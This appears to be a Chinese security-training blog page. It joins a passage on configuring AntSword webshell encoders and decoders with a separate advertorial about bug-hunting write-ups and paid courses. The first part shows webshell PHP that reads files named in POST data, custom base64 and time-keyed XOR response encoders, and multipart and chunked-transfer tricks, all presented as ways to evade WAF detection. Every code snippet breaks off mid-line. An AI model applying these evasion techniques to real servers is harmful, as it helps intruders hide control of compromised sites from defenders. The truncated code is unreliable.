还有其他的一些编码器,使用什么aes之类的,利用起来比较麻烦,有的还需要环境,个人感觉不太常用,但也能学习一下
解码器设置
返回的报文也是个重点,直接明文返回也比较明显,因为没多少站点会直接返回/etc/passwd 的内容
可以先观察一波原始执行的php代码,其中asenc函数是输出返回内容的地方,默认直接返回明文,我们在编码器写的内容,会在发送的时候覆盖这个函数的内容,服务器端执行完代码之后,实现返回效果经过编码加密的效果
<?php @ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out; } ; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "95922eac"; echo @asenc($output); echo "38160"; } ob_start(); try{ $F=base64_decode($_POST["td1b2e4829a55c"]); $P=@fopen($F,"r"); ech
base64解码器
decode_buff部分是设置解密的,asoutput设置的东西则是覆盖请求函数中的asenc函数的内容
/** * php::base64解码器 * Create at: 2021/03/02 18:52:44 */ 'use strict'; module.exports = { /** * @returns {string} asenc 将返回数据base64编码 * 自定义输出函数名称必须为 asenc * 该函数使用的语法需要和shell保持一致 */ asoutput: () => { return `function asenc($out){ return @base64_encode($out); } `.replace(/\n\s+/g, ''); }, /** * 解码 Buf
设置之后抓包可以看到它里面的函数内容已经被更改了
而且返回的内容也不容易被轻易解出来,因为在a请求包中的output函数中每次都设置了随机的前后分界字符串,只有客户端知道分界位置,所以能直接解编码,WAF基本上是没法定位位置进行解码的,因此相当于base64编码前后都有一段随机的字符串,当然我们可以通过爆破前后位置最终得到base64编码,不过这也是蚁剑开发过程中的小细节,通过设置前后分解字符串来模拟了一个简单的加盐操作
也就是这两段东西导致不能够直接将返回包解码就可以得到相关信息,只能通过爆破跑跑
rot13解码器
相比于base64解码器,rot13解码器并没有很大的优势,因为rot13加密本身就是凯撒的变形,并且由于没有进行分组加密,因此加入前后分界字符串的意义也就不明显了,并且混淆程度也不高,能够直接将混淆后的流量在进行rot13解码便能能到明文
上述两个是蚁剑自带的,其实也可以自己构建相关的解码器
基于时间的动态秘钥解码器
只要在返回的内容中再次基于时间产生的密钥进行一个异或操作,然后解密操作在decode_buff实现
'use strict'; module.exports = { /** * @returns {string} asenc 将返回数据base64编码 * 自定义输出函数名称必须为 asenc * 该函数使用的语法需要和shell保持一致 */ asoutput: () => { return `function asenc($out){ date_default_timezone_set("PRC"); $key=md5(date("Y-m-d H:i",time())); for($i=0;$i<strlen($out);$i++){ $out[$i] = $out[$i] ^ $key
绕过检测的程度也很高
WAF的一些常规的封杀点以及一些绕过方法
参考这篇文章:https://mp.weixin.qq.com/s/u8_d8MXvFuwOyIMZZMBsog
其实蚁剑都能根据这些点进行绕过,实属大杀器,总结了个脑图
商用的WAF,由于要关注业务性,可能会把multipart/form-data这种多用来上传文件的传输方式检测关闭掉,否则攻击者持续上传大文件,一直损耗WAF的性能,容易拖垮相关业务,因此如果使用Multipart进行传输,对流量的混淆也起到了一定的积极效果
另外蚁剑还有分块传输的功能,利用的chunk这种传输方式,把payload分成一小段一小段传过去,这样原本一个包中的一些关键字则会被分割成很多小块进行传输,可以绕过了某些正则
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062018020614185300001 (通过该实验了解中国菜刀的特性及其通信原理、机制,并且学会分析可能隐藏的后门以及其工作原理。)
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
为什么大家都喜欢看‘记一次xxx漏洞挖掘’之类的文章
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
安全类的公众号大大小小的关注了两百多个,经常看到标题为“实战|记一次xxx漏洞挖掘”、“某xxx网站渗透实战”之类的文章,比如:https://mp.weixin.qq.com/s/ETm92MHTNksURjOPNqFgHg,https://mp.weixin.qq.com/s/rxfJA44NWP1CIpVfrVh1KQ,https://mp.weixin.qq.com/s/vB3cHY4zxsPoNnuoTvNArQ。
不知道大家是不是跟我一样,每次都会点进去看,学习作者的渗透思路。
包括在蚁景网安实验室去年开设的网安讲堂上,也有很多关于挖洞经验的公开课,学习人数恒河沙数。
那么什么是漏洞发现过程?
在某些方面漏洞发现过程就像解决迷宫、拼图之类的难题,也像一款很火的烧脑益智冒险类游戏——密室逃脱。
挖掘漏洞的过程就像从密室中逃脱一样,需要发现细节、分析推理并且借助工具才能完成。细品那些疑似漏洞的误报是不是很像密室中突然冒出来干扰你正常思路的NPC。
和留言板中直呼大佬的读者一样,我每次看完大佬们的渗透记录,也是如饮醍醐。甚至于经常被这种“记一次xxx漏洞挖掘”之类的标题所吸引,来不及领会的时候就放到收藏夹。堆积如山的除了需要学习的漏洞挖掘思路,更多的是每看完一篇的思路总结。
学而不思则罔,思而不学则殆。学习贵在实践、贵在转化、贵在总结,安全学习更应该边看边动手,把大佬们的技巧转化成自己的思路,并且定期总结。
从源码泄露到代码审计
相信很多人在尝试一个攻击手法时,都会从代码开始研究。去年年初的时候我还写过一篇关于代码审计的记录文章:https://mp.weixin.qq.com/s/c-etrgAVkHW7A8CLNVyz4Q,对PHP的几个危险函数粗略地进行了总结。
文章中提及的几个危险函数使用实例在蚁景网安实验室上也有相关的课程练习,名为PHP函数漏洞审计。在实践练习的过程中,我发现还有另一个课程——PHP代码审计最佳实践,其中关于常见Web漏洞的代码分析思路,完全就是我下一篇《代码审计进阶实战》的文章构造。课程详细地介绍了SQL注入、XSS、命令注入、文件上传等漏洞的产生原理及挖掘方法,课程链接:https://www.yijinglab.com/cour.do?w=1&c=CCID2d0a-0673-40fe-8ac6-bd3c08e8179f&
文章好像都不用写了,感兴趣的自己学习课程PHP代码审计最佳实践吧。
代码审查还有可能涉及到逆向工程分析,在蚁景网安实验室上也有很多逆向分析相关的实验,我对逆向不太了解,就不班门弄斧了。
工欲善其事必先利其器
审查代码需要花费很多的时间和精力,而且在实际漏洞挖掘过程中,遇到的更多是不提供源代码的情况,这就需要我们借助一些工具型软件对应用程序的数据执行进行监视。
实验漏洞扫描介绍了漏洞扫描技术的原理和如何使用burp suite对目标网站进行渗透扫描:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015082709344100001
众所周知,AWVS也是一款知名的网络漏洞扫描工具,通过网络爬虫测试并检测目标网站的安全漏洞,深受业内人员的喜爱。
通过课程AWVS使用教程学习AWVS的相关配置,使用AWVS进行子域名扫描和Web服务器扫描等:https://www.yijinglab.com/cour.do?w=1&c=CCID90eb-df01-4b2d-9105-d94609391fed&
除了bp和AWVS,还有Nessus、AppScan、Wscan、WebCruiser等漏洞扫描工具,可以在课程渗透扫描工具使用中进行练习:https://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916081500001&
心中有树,手中创林
在学习实战挖掘某FTP服务器溢出漏洞实验的时候,用提交漏洞报告的作者给出的poc在系统中进行测试,发现漏洞利用失败了。其实在漏洞利用过程中,经常会遇到使用别人的脚本攻击失败的情况,有时候是系统不同的原因,有时候是代码本身的问题。同样在实验实战挖掘Mini-stream_Ripper缓冲区溢出漏洞中也需要编写自己的exploit,控制程序的执行流程,将恶意数据写入程序。
对没有编程基础的人来说,这样的练习可能会显得不太友好。比如在测试开源的漏洞挖掘工具时,突然想结合其他的功能一起使用,和课程用Python打造实用工具中提及的类似,拥有自己的专属利器:https://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2016081211033700001&
当然如果想系统地学习漏洞批量扫描工具的开发,提高漏洞挖掘效率,可以看看蚁景网安学院最新的Python安全开发特训班:https://www.yijinglab.com/pages/activity/python-secure-development.html
我也是最近才了解到,看这个课程大纲感觉还挺诱人的,包括主机发现、端口探测、子域名获取、指纹识别;还有未授权、SQL注入、弱口令漏洞的检测:https://ke.qq.com/course/3413806?tuin=2dfa83c9
他们还不定期地在腾讯课堂和b站开设黑客入门课程、实战训练营什么的,感兴趣的可以了解一下,反正两分钱去不了澳门也到不了香港。
回归到问题上来:为什么大家都喜欢看‘记一次xxx漏洞挖掘’之类的文章?
大概是看多了“为什么要学习网络安全“、“怎么入门Web安全”之类的文章,受国家战略趋势及网络安全发展前景的影响,越来越多的年轻人投身于安全研究与服务行业。在积累了一定的基础之后,通过学习大佬们的渗透记录,巩固自己的知识框架。
其实根据不同的应用场景及技术实现,网络安全也分为很多种领域,包括安全运维、Web安全、云安全、移动安全、工控安全、无线安全、数据安全等。
庆幸于自己的兴趣能够成为工作的动力,也希望大家能找到合适的发展方向,当然也不能受利益驱使做违法的事情。
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

